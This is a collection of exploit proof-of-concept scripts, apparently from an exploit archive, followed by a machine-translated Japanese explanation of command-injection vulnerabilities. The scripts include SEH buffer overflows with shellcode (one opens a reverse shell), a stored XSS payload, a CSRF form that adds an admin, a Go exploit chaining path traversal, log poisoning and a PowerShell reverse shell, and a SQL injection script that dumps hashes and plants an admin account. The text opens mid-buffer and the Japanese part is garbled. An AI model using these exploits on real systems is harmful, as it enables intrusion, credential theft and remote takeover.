buf += "\x59\x49\x70\x30\x4e\x31\x46\x33\x76\x6b\x4f\x66\x50"
buf += "\x71\x78\x43\x38\x4b\x37\x37\x6d\x73\x50\x6b\x4f\x4b"
buf += "\x65\x6f\x4b\x48\x70\x6c\x75\x4f\x52\x72\x76\x73\x58"
buf += "\x49\x36\x6e\x75\x4d\x6d\x4d\x4d\x59\x6f\x39\x45\x55"
buf += "\x6c\x63\x36\x53\x4c\x66\x6a\x4d\x50\x79\x6b\x6b\x50"
buf += "\x64\x35\x46\x65\x6f\x4b\x72\x67\x45\x43\x50\x72\x70"
buf += "\x6f\x32\x4a\x65\x50\x51\x43\x49\x6f\x59\x45\x41\x41"


egg = "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x54\x58\x66\x05\x44\x17\x50\x5c\x25\x4A"
egg += "\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x7F\x01\x7F\x01\x2D\x0B\x01\x7F\x01\x2D\x01\x16\x02\x15\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x01\x7F\x01\x01\x2D\x50\x0B\x14\x4F\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x7F\x7F\x01\x01\x2D\x51\x29\x73\x04\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x01\x01\x2C\x50\x2D\x10\x46\x7F\x7F\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x45\x7B\x26\x0C\x2D\x7F\x7F\x7F\x7F\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x7F\x28\x01\x52\x2D\x7F\x7F\x31\x7F\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x72\x4D\x3D\x16\x2D\x7F\x70\x70\x7F\x50"
egg += "\x25\x4A\x4D\x4E\x54\x25\x35\x32\x31\x2B\x2D\x1A\x7B\x01\x7F\x2D\x7F\x01\x33\x7F\x2D\x01\x02\x01\x02\x50"

exploit = "A"*4096
# 0x67031912 - pop pop ret
exploit += "\x74\x06\x75\x04"
exploit += "\x12\x19\x03\x67"
exploit += egg
exploit += "C"*(5000-4104)
exploit += "T00WT00W"
exploit += buf

f = open("exploit.txt", "w")
f.write(exploit)
f.close()
            
# Exploit Title: Nidesoft DVD Ripper 5.2.18 - Local Buffer Overflow (SEH)
# Date: 2020-07-26
# Author: Felipe Winsnes
# Software Link: https://nidesoft-dvd-ripper.softonic.com/
# Version: 5.2.18
# Tested on: Windows 7 (x86)

# Blog: https://whitecr0wz.github.io/

# Proof of Concept:
# 1.- Run the python script, it will create the file "poc.txt".
# 2.- Copy the content of the new file "poc.txt" to clipboard
# 3.- Open the application.
# 4.- Paste the clipboard into the "License Code" parameter within registration.
# 5.- Profit.

import struct

# msfvenom -p windows/exec CMD=calc.exe -f py -e x86/alpha_mixed EXITFUNC=thread -b "\x00\x0a\x0d"                                                                                                            
# Payload size: 448 bytes

buf =  b""
buf += b"\x89\xe5\xda\xda\xd9\x75\xf4\x5f\x57\x59\x49\x49\x49"
buf += b"\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += b"\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += b"\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x59\x6c\x6d\x38\x4c"
buf += b"\x42\x33\x30\x73\x30\x37\x70\x55\x30\x6c\x49\x6b\x55"
buf += b"\x35\x61\x49\x50\x32\x44\x6e\x6b\x42\x70\x66\x50\x6c"
buf += b"\x4b\x56\x32\x74\x4c\x6c\x4b\x42\x72\x75\x44\x6c\x4b"
buf += b"\x54\x32\x31\x38\x74\x4f\x58\x37\x51\x5a\x31\x36\x55"
buf += b"\x61\x6b\x4f\x4c\x6c\x77\x4c\x33\x51\x53\x4c\x35\x52"
buf += b"\x76\x4c\x51\x30\x4f\x31\x78\x4f\x74\x4d\x67\x71\x38"
buf += b"\x47\x68\x62\x4b\x42\x46\x32\x30\x57\x6c\x4b\x71\x42"
buf += b"\x62\x30\x6e\x6b\x61\x5a\x57\x4c\x6c\x4b\x70\x4c\x54"
buf += b"\x51\x63\x48\x49\x73\x63\x78\x43\x31\x4e\x31\x43\x61"
buf += b"\x6c\x4b\x50\x59\x31\x30\x63\x31\x59\x43\x4e\x6b\x77"
buf += b"\x39\x44\x58\x79\x73\x77\x4a\x62\x69\x4c\x4b\x66\x54"
buf += b"\x6c\x4b\x47\x71\x78\x56\x70\x31\x39\x6f\x4c\x6c\x6f"
buf += b"\x31\x58\x4f\x34\x4d\x46\x61\x4b\x77\x46\x58\x4d\x30"
buf += b"\x53\x45\x5a\x56\x45\x53\x73\x4d\x39\x68\x67\x4b\x73"
buf += b"\x4d\x51\x34\x74\x35\x79\x74\x53\x68\x6e\x6b\x33\x68"
buf += b"\x67\x54\x47\x71\x69\x43\x71\x76\x4e\x6b\x74\x4c\x30"
buf += b"\x4b\x4c\x4b\x73\x68\x47\x6c\x67\x71\x48\x53\x4c\x4b"
buf += b"\x54\x44\x4c\x4b\x36\x61\x68\x50\x6b\x39\x61\x54\x77"
buf += b"\x54\x76\x44\x63\x6b\x63\x6b\x31\x71\x32\x79\x72\x7a"
buf += b"\x52\x71\x39\x6f\x4b\x50\x31\x4f\x61\x4f\x73\x6a\x6e"
buf += b"\x6b\x65\x42\x48\x6b\x6e\x6d\x61\x4d\x43\x5a\x45\x51"
buf += b"\x4c\x4d\x6e\x65\x6f\x42\x57\x70\x67\x70\x43\x30\x30"
buf += b"\x50\x45\x38\x35\x61\x6c\x4b\x72\x4f\x6f\x77\x39\x6f"
buf += b"\x79\x45\x6f\x4b\x6b\x50\x65\x4d\x67\x5a\x74\x4a\x65"
buf += b"\x38\x6d\x76\x4f\x65\x6d\x6d\x4f\x6d\x49\x6f\x39\x45"
buf += b"\x67\x4c\x67\x76\x73\x4c\x47\x7a\x4f\x70\x4b\x4b\x69"
buf += b"\x70\x32\x55\x47\x75\x6d\x6b\x30\x47\x44\x53\x63\x42"
buf += b"\x62\x4f\x42\x4a\x75\x50\x43\x63\x6b\x4f\x4e\x35\x71"
buf += b"\x73\x31\x71\x30\x6c\x55\x33\x54\x6e\x62\x45\x74\x38"
buf += b"\x53\x55\x65\x50\x41\x41"

nseh = "\xEB\x11\x41\x41"
seh = struct.pack("<I", 0x6678336D) #  0x6678336d : pop ebx # pop esi # ret  | asciiprint,ascii,alphanum,lowernum {PAGE_EXECUTE_WRITECOPY} [avcodec.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Nidesoft Studio\Nidesoft DVD Ripper 5\avcodec.dll)

buffer = "A" * 6008 + nseh + seh + "A" * 11 + buf + "\xff" * 200

f = open ("poc.txt", "w")
f.write(buffer)
f.close()
            
# Exploit Title: Snes9K 0.09z - 'Port Number' Buffer Overflow (SEH)
# Date: 2020-07-20
# Exploit Author: MasterVlad
# Vendor Homepage: https://sourceforge.net/projects/snes9k/
# Software Link: https://www.exploit-db.com/apps/ef5249b64ce34575c12970b334a08c17-snes9k009z.zip
# Version: 0.09z
# Vulnerability Type: Local Buffer Overflow
# Tested on: Windows 10 x64

# Proof of Concept:

# 1. Run the python script
# 2. Open exploit.txt and copy the content to clipboard
# 3. Open Snes9K 0.09z
# 4. Click on Netplay -> Connect to Server
# 5. Paste the clipboard into the "Port Number" field
# 6. Click on Connect and then on OK

#!/usr/bin/python

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.164.129 LPORT=443 -b "\x00\x0a\x0d" -f py

buf =  ""
buf += "\xd9\xc3\xbf\x7c\xdc\xed\x95\xd9\x74\x24\xf4\x58\x29"
buf += "\xc9\xb1\x52\x31\x78\x17\x83\xc0\x04\x03\x04\xcf\x0f"
buf += "\x60\x08\x07\x4d\x8b\xf0\xd8\x32\x05\x15\xe9\x72\x71"
buf += "\x5e\x5a\x43\xf1\x32\x57\x28\x57\xa6\xec\x5c\x70\xc9"
buf += "\x45\xea\xa6\xe4\x56\x47\x9a\x67\xd5\x9a\xcf\x47\xe4"
buf += "\x54\x02\x86\x21\x88\xef\xda\xfa\xc6\x42\xca\x8f\x93"
buf += "\x5e\x61\xc3\x32\xe7\x96\x94\x35\xc6\x09\xae\x6f\xc8"
buf += "\xa8\x63\x04\x41\xb2\x60\x21\x1b\x49\x52\xdd\x9a\x9b"
buf += "\xaa\x1e\x30\xe2\x02\xed\x48\x23\xa4\x0e\x3f\x5d\xd6"
buf += "\xb3\x38\x9a\xa4\x6f\xcc\x38\x0e\xfb\x76\xe4\xae\x28"
buf += "\xe0\x6f\xbc\x85\x66\x37\xa1\x18\xaa\x4c\xdd\x91\x4d"
buf += "\x82\x57\xe1\x69\x06\x33\xb1\x10\x1f\x99\x14\x2c\x7f"
buf += "\x42\xc8\x88\xf4\x6f\x1d\xa1\x57\xf8\xd2\x88\x67\xf8"
buf += "\x7c\x9a\x14\xca\x23\x30\xb2\x66\xab\x9e\x45\x88\x86"
buf += "\x67\xd9\x77\x29\x98\xf0\xb3\x7d\xc8\x6a\x15\xfe\x83"
buf += "\x6a\x9a\x2b\x03\x3a\x34\x84\xe4\xea\xf4\x74\x8d\xe0"
buf += "\xfa\xab\xad\x0b\xd1\xc3\x44\xf6\xb2\x2b\x30\x5c\xc3"
buf += "\xc4\x43\x9c\xc5\xaf\xcd\x7a\xaf\xdf\x9b\xd5\x58\x79"
buf += "\x86\xad\xf9\x86\x1c\xc8\x3a\x0c\x93\x2d\xf4\xe5\xde"
buf += "\x3d\x61\x06\x95\x1f\x24\x19\x03\x37\xaa\x88\xc8\xc7"
buf += "\xa5\xb0\x46\x90\xe2\x07\x9f\x74\x1f\x31\x09\x6a\xe2"
buf += "\xa7\x72\x2e\x39\x14\x7c\xaf\xcc\x20\x5a\xbf\x08\xa8"
buf += "\xe6\xeb\xc4\xff\xb0\x45\xa3\xa9\x72\x3f\x7d\x05\xdd"
buf += "\xd7\xf8\x65\xde\xa1\x04\xa0\xa8\x4d\xb4\x1d\xed\x72"
buf += "\x79\xca\xf9\x0b\x67\x6a\x05\xc6\x23\x9a\x4c\x4a\x05"
buf += "\x33\x09\x1f\x17\x5e\xaa\xca\x54\x67\x29\xfe\x24\x9c"
buf += "\x31\x8b\x21\xd8\xf5\x60\x58\x71\x90\x86\xcf\x72\xb1"

exploit = "A"*420
exploit += "\x74\x06\x75\x04"
# 0x10015140 pop pop ret; SDL.dll
exploit += "\x40\x51\x01\x10"
exploit += "\x41"*(2000-428-len(buf))
exploit += buf

f = open("exploit.txt", "w")
f.write(exploit)
f.close()
            
# Exploit Title: GOautodial 4.0 - Persistent Cross-Site Scripting (Authenticated)
# Author: Balzabu
# Discovery Date: 2020-07-23
# Vendor Homepage: https://goautodial.org/
# Software Link: https://goautodial.org/GOautodial-4-x86_64-Final-20191010-0150.iso.html
# Tested Version: 4.0 (Last relase as of today)
# Tested on OS: CentOS 7

# STEPS TO REPRODUCE:

# 1 - Log in as an agent
# 2 - Write a new message to user goadmin with:
Subject: Help me, I can't connect to the webphone <script src=1
href=1 onerror="javascript:alert(document.cookies)"></script>
Text: whatever you want
# 3 - Send and wait for goadmin to read the message... :-)
            
# Title: UBICOD Medivision Digital Signage 1.5.1 - Cross-Site Request Forgery (Add Admin)
# Date: 2020-07-23
# Author: LiquidWorm
# Product web page: http://www.medivision.co.kr
# CVE: N/A

<!--

UBICOD Medivision Digital Signage 1.5.1 CSRF Add Super Admin


Vendor: UBICOD Co., Ltd. | MEDIVISION INC.
Product web page: http://www.medivision.co.kr
Affected version: Firmware 1.5.1 (2013.01.3)

Summary: Medivision is a service that provides everything from DID operation to
development of DID (Digital Information Display) optimized for hospital environment
and production of professional contents, through DID product installation, image,
video content planning, design work, and remote control. This is a one-stop solution
that solves management at once.

Desc: The application interface allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests. This can
be exploited to perform certain actions with administrative privileges if a logged-in
user visits a malicious web site.

Tested on: Apache/2.4.7 (Ubuntu)
           PHP/5.5.9-1ubuntu4.22


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5574
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5574.php


19.06.2020

-->


<html>
  <body>
    <form action="http://10.0.39.2/query/user/itSet" method="POST">
      <input type="hidden" name="aa[_id]" value="" />
      <input type="hidden" name="aa[uid]" value="testingus2" />
      <input type="hidden" name="aa[name]" value="TestN" />
      <input type="hidden" name="aa[pass]" value="123456" />
      <input type="hidden" name="aa[email]" value="aa2@bb.cc" />
      <input type="hidden" name="aa[mobile]" value="111-222-3333" />
      <input type="hidden" name="aa[phone]" value="333-222-1111" />
      <input type="hidden" name="aa[approval]" value="+" />
      <input type="hidden" name="aa[grp]" value="3" />
      <input type="hidden" name="od[]" value="name" />
      <input type="hidden" name="ip" value="0" />
      <input type="hidden" name="np" value="13" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
            
# Exploit Title: INNEO Startup TOOLS 2018 M040 13.0.70.3804 - Remote Code Execution
# Date: 2020-07-23
# Exploit Author: Patrick Hener, SySS GmbH
# Many credits go to Dr. Benjamin Heß, SySS GmbH for helping with php oddities and the powershell payload
# Advisory: SYSS-2020-028 (https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-028.txt)
# Vendor Homepage: https://www.inneo.co.uk/en/home.html
# Version: Startup TOOLS 2017/2018
# Tested on: Windows 10 x64
# CVE : CVE-2020-15492

/* This exploit was written by Patrick Hener, SySS GmbH
*/

package main

import (
	"encoding/base64"
	"fmt"
	_ "fmt"
	"io"
	"io/ioutil"
	"log"
	"net"
	"net/http"
	"net/url"
	"os"
	"regexp"
	"strconv"
	"strings"

	"golang.org/x/text/encoding/unicode"
)

type progress struct {
	bytes uint64
}

func usage() {
	fmt.Printf("Usage: %s lhost[192.168.x.x] lport[4444] url[http://ip:85] installDir[PROGRA~2/stools] \n\n", os.Args[0])
	os.Exit(2)
}

func readFile(target string, traversal string, path string) (bool, string) {
	success := true
	request := fmt.Sprintf("%s%s%s", target, traversal, path)
	resp, err := http.Get(request)
	if err != nil {
		fmt.Println(err)
	}
	if resp.Status != "200 OK" {
		success = false
	}

	defer resp.Body.Close()
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		fmt.Println(err)
	}

	return success, string(body)
}

func triggerFile(target string, traversal string, path string) {
	request := fmt.Sprintf("%s%s%s", target, traversal, path)
	_, _ = http.Get(request)
}

func poison(target string, traversal string, path string) (bool, string) {
	success := true
	request := fmt.Sprintf("%s%s%s", target, traversal, path)
	resp, err := http.Get(request)
	if err != nil {
		fmt.Println(err)
		os.Exit(2)
	}
	if resp.Status != "404 Not Found" {
		success = false
	}

	defer resp.Body.Close()

	fmt.Printf("[*] Poisoned: %s\n", path)

	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		fmt.Println(err)
	}

	return success, string(body)
}

func parseHostname(body string) string {
	re := regexp.MustCompile("Service hostname:?.*")
	hostnameRaw := re.FindAllString(body, -1)
	hostnameSplit := strings.Split(hostnameRaw[0], ":")
	hostnameTrimmed := strings.TrimSpace(hostnameSplit[1])
	hostnameNoNewline := strings.Replace(hostnameTrimmed, "\n", "", -1)

	return hostnameNoNewline
}

func customEscape(sequence string) string {
	output := url.PathEscape(sequence)
	output = strings.Replace(output, "+", "%20", -1)
	output = strings.Replace(output, "=", "%3D", -1)

	return output
}

func payloadEscape(sequence string) string {
	output := url.PathEscape(sequence)
	output = strings.Replace(output, "=", "%3D", -1)

	return output
}

func transferStreams(con net.Conn) {
	c := make(chan progress)

	// Read from Reader and write to Writer until EOF
	copy := func(r io.ReadCloser, w io.WriteCloser) {
		defer func() {
			r.Close()
			w.Close()
		}()
		n, err := io.Copy(w, r)
		if err != nil {
			fmt.Printf("[%s]: ERROR: %s\n", con.RemoteAddr(), err)
		}
		c <- progress{bytes: uint64(n)}
	}

	go copy(con, os.Stdout)
	go copy(os.Stdin, con)

	p := <-c
	fmt.Printf("[*] [%s]: Connection has been closed by remote peer, %d bytes has been received\n", con.RemoteAddr(), p.bytes)
	p = <-c
	fmt.Printf("[*] [%s]: Local peer has been stopped, %d bytes has been sent\n", con.RemoteAddr(), p.bytes)
}

func startServer(addr string) {
	ln, err := net.Listen("tcp", addr)
	if err != nil {
		log.Fatalln(err)
	}
	fmt.Printf("[+] Now listening on %s\n", addr)
	con, err := ln.Accept()
	if err != nil {
		log.Fatalln(err)
	}
	fmt.Printf("[+] [%s]: Connection has been opened. Press 'RETURN' once to start. Enjoy your shell, good sir.\n", con.RemoteAddr())
	transferStreams(con)
}

func stage1(target string, traversal string, installDir string) string {
	fmt.Printf("[*] Attacking target %s with assumed install path %s\n", target, installDir)
	fmt.Printf("[*] Trying to read 'sut_server.log' to receive hostname of target at %s%s%s/software/LOG/sut_server.log\n", target, traversal, installDir)
	path := fmt.Sprintf("%s/software/LOG/sut_server.log", installDir)
	success, response := readFile(target, traversal, path)
	if !success {
		fmt.Printf("[-] It looks like %s%s%s is not there. Provide install_dir to try via args.\n", target, traversal, installDir)
		os.Exit(2)
	}
	hostname := parseHostname(response)

	return hostname
}

func stage2(target string, traversal string, installDir string, payloadFinal string) {
	/* Stage 2 - poison log with php payload
	    Special about that is the length of payload junk has max restriction of about 200 characters
	    Thus we are splitting up the payload escaping the trash we don't need like
	    the 'n' is nesessary to escape DRIVE:\ which will be DRIVE:\n then
	    <?php $cmd=''; $foo= '
	    n'; $cmd.="part1"; $foo='
	    n'; $cmd.="part2"; $foo='
	     ....
		n'; system(cmd); ?>
	*/
	fmt.Println("[*] Poisoning Log with payload")
	/* Start of the php code */
	start := customEscape("<?php $cmd=''; $foo='")
	success, _ := poison(target, traversal, start)
	if !success {
		fmt.Println("Poisoning failed. Exiting")
		os.Exit(2)
	}

	/* Looping through payload */
	offset := 0
	pre := "n'; $cmd.='"
	post := "'; $foo='"

	for offset < len(payloadFinal) {
		payload := payloadFinal[offset : offset+150-len(pre)-len(post)]
		poisonPath := payloadEscape(fmt.Sprintf("%s%s%s", pre, payload, post))
		success, _ = poison(target, traversal, poisonPath)
		if !success {
			fmt.Println("Poisoning failed. Exiting")
			os.Exit(2)
		}
		offset += 150 - len(pre) - len(post)

		if len(payloadFinal)-offset <= 150-len(pre)-len(post) {
			break
		}
	}

	/* Send last slice of payload to prevent from out of range error */
	payload := payloadFinal[offset:len(payloadFinal)]
	poisonPath := payloadEscape(fmt.Sprintf("%s%s%s", pre, payload, post))
	success, _ = poison(target, traversal, poisonPath)
	if !success {
		fmt.Println("Poisoning failed. Exiting")
		os.Exit(2)
	}

	/* End of the php code */
	end := customEscape("n'; system($cmd); die; ?>")
	success, _ = poison(target, traversal, end)
	if !success {
		fmt.Println("Poisoning failed. Exiting")
		os.Exit(2)
	}
}

func stage3(target string, traversal string, installDir string, hostname string) {
	logFile := fmt.Sprintf("%s%s%s/software/LOG/sut_server_%s.log\\0.php", target, traversal, installDir, hostname)
	fmt.Printf("[*] Triggering inclusion of %s\n", logFile)
	triggerFile(target, traversal, logFile)
}

func stage4(lhost string, lport int) {
	/* Listen for socket connection */
	addr := fmt.Sprintf("%s:%d", lhost, lport)
	fmt.Printf("[*] Starting reverse listener at %s\n", addr)
	startServer(addr)
}

func main() {
	if len(os.Args) < 4 {
		usage()
	}

	lhost := os.Args[1]
	lport, err := strconv.Atoi(os.Args[2])
	if err != nil {
		fmt.Println("lport has to be numeric")
		os.Exit(2)
	}
	target := os.Args[3]
	var installDir string
	if len(os.Args) == 4 {
		installDir = "PROGRA~2/stools"
	} else {
		installDir = os.Args[4]
	}

	/* Payload definition */
	payload := fmt.Sprintf("$client = New-Object System.Net.Sockets.TCPClient('%s',%d);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()", lhost, lport)
	/* Convert to base64 UTF-16LE */
	encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
	payloadEncoded, _ := encoder.String(payload)
	payloadEncodedString := base64.StdEncoding.EncodeToString([]byte(payloadEncoded))
	/* In webshell we would issue: powershell.exe -exec bypass -EncodedCommand <encoded_payload> */
	payloadFinal := fmt.Sprintf("powershell.exe -exec bypass -EncodedCommand %s", payloadEncodedString)

	/* Traversal to root - default depth would be 4 */
	traversal := "/../../../../../../../../../../"

	/* stage 1  - get hostname */
	hostname := stage1(target, traversal, installDir)
	fmt.Printf("[+] Hostname of target is: %s\n", hostname)
	/* stage 2 - poisoning */
	stage2(target, traversal, installDir, payloadFinal)
	/* stage 3 - trigger */
	go stage3(target, traversal, installDir, hostname)
	/* stage4 - start listener */
	stage4(lhost, lport)
}
            
# Exploit Title: ManageEngine Applications Manager 13 - 'MenuHandlerServlet' SQL Injection
# Google Dork: intitle:"Applications Manager Login Screen"
# Date: 2020-07-23
# Exploit Author: aldorm
# Vendor Homepage: https://www.manageengine.com/
# Software Link:
# Version: 12 and 13 before Build 13200
# Tested on: Windows
# CVE : 2016-9488

#!/usr/bin/env python2

# App:          ManageEngine Applications Manager
# Versions:     12 and 13 before build 13200
# CVE:          CVE-2016-9488
# Vuln Type:    SQL Injection
# CVSSv3:       9.8
# 
# PoC Autor:    aldorm
# Release date: 23-07-2020

# ./poc_CVE-2016-9488.py 192.168.123.113 8443 --create-user-hacker
# [*] Extracting all users:
# 	 admin:21232f297a57a5a743894a0e4a801fc3
# 	 reportadmin:21232f297a57a5a743894a0e4a801fc3
# 	 systemadmin_enterprise:21232f297a57a5a743894a0e4a801fc3
# [*] Creating new user: 
# 	User: hacker 
#	Password: admin
# [*] Verifing created user...
# Success.


import sys 
import requests
import urllib3
import json


urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

target = 'localhost'

def get_userpassword():
    sqli = ' UNION ALL SELECT userid,CONCAT(username,$$:$$,password),NULL FROM am_userpasswordtable--'
    r= requests.get('https://%s:%s/servlet/MenuHandlerServlet' % (target,port ), params= 'action=verticalmenulist&config_id=0 %s' % sqli, verify=False);
    j = json.loads(r.text)
    return j

def create_user():
    sqli = '; INSERT INTO am_userpasswordtable VALUES (123123123, $$hacker$$,$$21232f297a57a5a743894a0e4a801fc3$$,NULL,NULL,$$21232f297a57a5a743894a0e4a801fc3$$,1);  -- '
    r= requests.get('https://%s:%s/servlet/MenuHandlerServlet' % (target,port ), params= 'action=verticalmenulist&config_id=0 %s' % sqli, verify=False);

    sqli = ';INSERT INTO amdb.public.am_usergrouptable VALUES ($$hacker$$,$$USERS$$);  -- '
    r= requests.get('https://%s:%s/servlet/MenuHandlerServlet' % (target,port ), params= 'action=verticalmenulist&config_id=0 %s' % sqli, verify=False);

    sqli = ';INSERT INTO amdb.public.am_usergrouptable VALUES ($$hacker$$,$$ADMIN$$);  -- '
    r= requests.get('https://%s:%s/servlet/MenuHandlerServlet' % (target,port ), params= 'action=verticalmenulist&config_id=0 %s' % sqli, verify=False);

    return 


def main ():
    if not len(sys.argv) > 2:
        print "Usage %s <target> <port> [--create-user-hacker]" % sys.argv[0]
        print "e.g. %s manageengine 8443 " % sys.argv[0]
        sys.exit(1)

    global target
    global port
    target=sys.argv[1]
    port=sys.argv[2]

    print "[*] Extracting all users:"
    j = get_userpassword()
    for user in j["0"]:
        print "\t %s" % user[1]
    

    if len(sys.argv) == 4 and sys.argv[3] == '--create-user-hacker':
        print "[*] Creating new user: \n\tUser: hacker \n\tPassword: admin"    
        create_user()
        print "[*] Verifing created user..."

        j = get_userpassword()
        for user in j["0"]:
            if user[1] == "hacker:21232f297a57a5a743894a0e4a801fc3":
                print "Success."
                return
        print "User not created."



if __name__ == '__main__':
    main()
            

###コマンド実行定義

オペレーティングシステムコマンドを直接呼び出します。

アプリケーションがコンテンツを処理するためにいくつかの外部プログラムを呼び出す必要がある場合、システムコマンドを実行するいくつかの機能が使用されます。たとえば、System、Exec、Shell_execなど。PHPでは、ユーザーがコマンド実行関数のパラメーターを制御できる場合、悪意のあるシステムコマンドを通常のコマンドに注入し、コマンド実行攻撃を引き起こすことができます。

コマンド実行とは、攻撃者がブラウザまたは他のクライアントソフトウェアを介してサーバープログラムにいくつかのCMDコマンド(またはBASHコマンド)を送信することを指します。サーバープログラムは、CMD.Exeを直接または間接的に呼び出して、システム、評価、EXEC、その他の機能を介して攻撃者が提出したコマンドを実行します。

システムコマンドの実行とは、コマンドラインで渡されたパラメーターのアプリケーションの不十分なフィルタリングを指し、悪意のあるユーザーが最終実行を制御します。 PHPで、システム、Exec、Shell_exec、Passthru、Popen、Proc_Popenなどのシステムコマンドを実行するいくつかの関数を呼び出す必要がある場合があります。ユーザーがこれらの機能のパラメーターを制御できる場合、悪意のあるシステムコマンドを通常のコマンドにスプライスして、コマンド実行攻撃を行うことができます。これはコマンド実行の脆弱性です。

###判断とコマンドの実行とコード実行の違い

OWASPのコードインジェクションとコマンドインジェクションを参照してください。の関連する説明を使用して、次の文でコード実行またはコマンド実行であるかどうかを判断できます。実行効果が言語自体とそのセキュリティメカニズムの対象かどうか。

コード実行の脆弱性とは、PHPスクリプトコードを実行する可能性を指し、コマンド実行の脆弱性とは、システムコマンドまたはアプリケーション命令(CMDコマンドやBASHコマンドなど)を実行する可能性を指します。コード実行の脆弱性は、システムコマンドを呼び出す際の脆弱性です。コマンド実行の脆弱性は、OSコマンド実行の脆弱性とも呼ばれるシステムコマンドへの直接呼び出しです。

ここでは、最初に2つの脆弱性の違いを示します。コマンドエグゼクティブは次のとおりです。

image001.png

コードエグゼクティブの長さは次のようなものです。

image002.png

1。コード実行

1。実行の効果は、言語自体によって完全に制限されています。現在の言語の関連する構文のみを実行することができ、実行するシステムコマンドのレベルに到達することはできません。

2。実行の効果は、言語自体によって完全に制限されていません

現在の言語の関連する構文は、システムコマンドを実行する範囲で実行できますが、言語セキュリティ機能自体の対象であり、正常に実行することはできません。

2。コマンド実行

1.実行の効果は、言語構文自体によって制限されず、コマンド自体によっても制限されておらず、現在の言語の関連する構文は実行できず、間接的にシステムコマンドを実行できます。

2.現在のコード言語の関連する構文は、システムコマンドの間接的な実行の範囲で実行可能であり、言語セキュリティ機能自体の対象ではありません。

###コマンド実行の脆弱性説明

コマンド実行の脆弱性とは、ユーザー制御可能なパラメーターをフィルタリングしないコードを指し、コマンドを実行するコードに直接持ち込まれます。悪意のある構築されたステートメントを使用して、任意のコマンドを実行できます。

ユーザーは、ブラウザを介して実行コマンドを送信します。サーバーは実行機能をフィルタリングしないため、コマンドは絶対パスを指定せずに実行されます。これにより、攻撃者は、プログラム実行環境の$パスまたは他の側面を変更することにより、悪意のあるコードを実行できるようになります。

###コマンド実行脆弱性原則

オペレーティングシステムで、 "、|、||"すべてコマンドコネクタとして使用できます。ユーザーは、ブラウザを介して実行コマンドを送信します。サーバーは実行機能をフィルタリングしないため、コマンドは絶対パスを指定せずに実行されます。

開発者はソースコードを記述するため、コード内の実行可能特殊機能ポータルのフィルタリングはありません。クライアントは、悪意のあるコンストラクトステートメントの送信を提出して、実行のためにサーバーに引き渡すことができます。一部のアプリケーションでは、PHP:system()、exec()、shell_exec()、passthru()、popen()、proc_popen()で外部プログラムを呼び出すことができる一般的な関数など、システムコマンドを実行するいくつかの関数を呼び出す必要があるいくつかの関数が必要です。コマンド実行。

ここでは、shell_exec関数を使用してデモを行います。

onk33ffg23e8910.gif

パラメーターはaで、変数$ cmdに渡され、shell_exec関数で実行し、ウェブページに表示されるページにecho出力を実行します。 CMDコマンドのコマンドを現在のユーザーに渡し、Aに渡し、Aを変数$ cmdに割り当ててから実行コマンドを実行します。4jl50grjx318911.gif

###コマンド実行の原因脆弱性

スクリプト言語(PHPなど)には簡潔で便利であるという利点がありますが、速度の低速や基礎となるシステムに触れることができないなど、いくつかの問題も伴います。開発するアプリケーション(特に一部のエンタープライズレベルのアプリケーション)がWebを削除するためにいくつかの特別な機能が必要な場合は、一部の外部プログラムを呼び出す必要があります。アプリケーションがコンテンツを処理するためにいくつかの外部プログラムを呼び出す必要がある場合、システムコマンドを実行するいくつかの関数が使用されます。たとえば、System、Exec、Shell_execなど。PHPでは、ユーザーがコマンド実行関数のパラメーターを制御できる場合、悪意のあるシステムコマンドを通常のコマンドに注入し、コマンド実行攻撃を引き起こすことができます。

PHP:System、Exec、Shell_exec、Passthru、Popen、Proc_Popenで呼び出すことができる一般的な関数。アプリケーションがこれらの機能を呼び出してシステムコマンドを実行すると、ユーザーの入力がシステムコマンドのパラメーターとしてコマンドラインにスプライスされ、ユーザーの入力がフィルタリングされない場合、コマンド実行の脆弱性が発生します。

1。コードレイヤーフィルタリングは厳密ではありません

コマンドを実行するには、一部の商用アプリケーションが必要です。商業アプリケーションの一部のコアコードは、バイナリファイルにカプセル化される場合があります。 Webアプリケーションでは、System( '/bin/プログラムがシステム関数によって呼び出されます。

-arg $ arg ');

2。システムの脆弱性はコマンド実行を引き起こします

Bash Shellの脆弱性(CVE-2014-6271)は、実行されたバッシュの環境変数を制御すると、シェルの脆弱性を介して任意のコードを実行できます。

3。サードパーティのコンポーネントを呼び出すとき、コード実行の脆弱性があります

